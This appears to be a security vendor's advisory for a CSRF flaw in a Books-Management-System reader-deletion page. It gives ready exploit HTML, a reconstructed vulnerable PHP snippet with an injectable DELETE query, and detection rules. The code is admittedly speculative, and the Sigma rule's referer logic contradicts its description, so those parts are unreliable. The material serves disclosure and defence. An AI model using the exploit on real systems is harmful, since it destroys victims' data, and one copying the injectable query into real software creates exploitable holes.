CVE-2025-3959
Executive Summary
CVE-2025-3959 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the withstars Books-Management-System version 1.0. The flaw resides in the /reader_delete.html endpoint, allowing an attacker to force an authenticated administrator to delete reader records without their consent. The product is explicitly marked as end-of-life (no longer supported by the maintainer), meaning no official patch will be released. The CVSS score is 0.0 due to incomplete NVD data, but based on the vector, the actual severity is Low (3.1). Public exploit code has been disclosed, increasing the risk for any remaining deployments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a standalone PHP/MySQL web application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications exist beyond the direct use of the unmaintained software.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – Attacker does not need authentication.
- User Interaction (UI): Required (R) – Victim must click a crafted link or visit a malicious page.
- Scope (S): Unchanged (U) – The vulnerable component and the attacker’s target are the same.
- Confidentiality (C): None (N) – No data disclosure.
- Integrity (I): Low (L) – Unauthorized deletion of reader records.
- Availability (A): None (N) – No denial of service.
Threat Level: Low (3.1) – Requires user interaction and only affects integrity of non-critical data. However, due to the public exploit and lack of patch, the real-world risk for active installations is elevated.
Deep Dive & Mechanics
The vulnerability is a classic CSRF in the reader_delete.html page. The application does not implement anti-CSRF tokens (e.g., nonces) or origin/referrer checks. The deletion request is likely a GET or POST request that directly removes a reader record based on an ID parameter.
Attack Flow:
- Attacker crafts a malicious HTML page containing an auto-submitting form or an
<img>tag pointing tohttp://target/reader_delete.html?id=123. - Attacker lures an authenticated admin (via social engineering) to visit the malicious page.
- The admin’s browser sends the request with their session cookie, and the server processes the deletion without verifying the request’s origin.
Why it works: The server trusts the session cookie without validating that the request was intentionally made by the user.
Vulnerable vs. Patched Code
Since no patch exists, we can only describe the vulnerable code pattern.
Vulnerable Code (PHP/HTML):
// reader_delete.html (simplified)
<?php
session_start();
if (isset($_SESSION['admin'])) {
$id = $_GET['id'];
$conn->query("DELETE FROM readers WHERE id = $id");
header("Location: readers.html");
}
?>
No CSRF token check is present.
Patched Code (Hypothetical):
<?php
session_start();
if (!isset($_SESSION['admin'])) exit;
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die("CSRF validation failed");
}
$id = intval($_POST['id']);
$stmt = $conn->prepare("DELETE FROM readers WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
header("Location: readers.html");
?>
The patch would add a CSRF token generated per session and validated on each state-changing request.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A running instance of Books-Management-System 1.0.
- An authenticated admin session (cookie).
Exploit HTML (csrf_exploit.html):
<html>
<body>
<h1>Click to win a prize!</h1>
<form action="http://target/reader_delete.html" method="GET" id="csrf_form">
<input type="hidden" name="id" value="1">
<input type="submit" value="Claim Prize">
</form>
<script>
// Auto-submit on page load
document.getElementById('csrf_form').submit();
</script>
</body>
</html>
Usage:
- Host the HTML on an attacker-controlled server.
- Send the link to the admin (e.g., via email or chat).
- When the admin clicks, the form auto-submits, deleting reader ID 1.
Alternative (Zero-Click via <img> tag):
<img src="http://target/reader_delete.html?id=1" width="0" height="0">
This works if the endpoint uses GET and does not require a specific Content-Type.
Blue Team (Detection & Hardening)
Detection:
- Monitor for unexpected GET/POST requests to
/reader_delete.htmlwith anidparameter. - Look for requests with a
Refererheader that does not match the application’s domain. - Alert on multiple rapid deletions of reader records.
Hardening (Temporary Workarounds):
- Add a reverse proxy (e.g., Nginx) to block external Referers for sensitive endpoints.
- Implement a custom middleware that checks for a CSRF token (requires code modification).
- Restrict access to the admin panel via IP whitelisting or VPN.
Indicators of Compromise (IOCs)
- Network:
- HTTP requests to
/reader_delete.html?id=<number>withRefererheader pointing to an external domain. - Repeated 302 redirects from
reader_delete.htmltoreaders.htmlin a short time.
- HTTP requests to
- Logs:
- Web server access logs showing
GET /reader_delete.html?id=1from unusual IPs. - Application logs showing
DELETE FROM readers WHERE id = 1without prior user action.
- Web server access logs showing
- File System:
- No file-based IOCs; the attack is purely request-driven.
Detection Engineering
YARA Rule (for log analysis)
rule CVE_2025_3959_CSRF_Logs {
meta:
description = "Detects CSRF attempts against reader_delete.html"
author = "Valters IT"
date = "2025-04-10"
strings:
$s1 = "reader_delete.html?id="
$s2 = "DELETE FROM readers WHERE id ="
condition:
any of ($s*) and #s1 > 5
}
Sigma Rule (for SIEM)
title: CVE-2025-3959 CSRF Attempt on Books-Management-System
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects multiple requests to reader_delete.html from external referers
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-stem: '/reader_delete.html'
cs-uri-query: 'id=*'
cs-referer:
- 'http://*'
- 'https://*'
cs-referer|contains:
- 'target.com' # Replace with your domain
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: medium
Suricata Rule (for IDS/IPS)
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2025-3959 CSRF Attempt - reader_delete.html";
flow:to_server,established;
content:"GET"; http_method;
content:"/reader_delete.html"; http_uri;
content:"id="; http_uri;
pcre:"/Referer\x3a\x20(?!http:\/\/target\.com)/Hi"; # Replace target.com with your domain
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Isolate or decommission the Books-Management-System if possible. Since it is end-of-life, no patch will be released.
- Implement a Web Application Firewall (WAF) rule to block requests to
/reader_delete.htmlthat do not originate from the application’s own domain. - Add CSRF tokens manually if you have access to the source code (see patched code example).
- Restrict admin access to trusted IPs only.
Long-Term:
- Migrate to a supported alternative application.
- Conduct a full security audit of any remaining legacy systems.
Valters IT
Securing your digital frontier.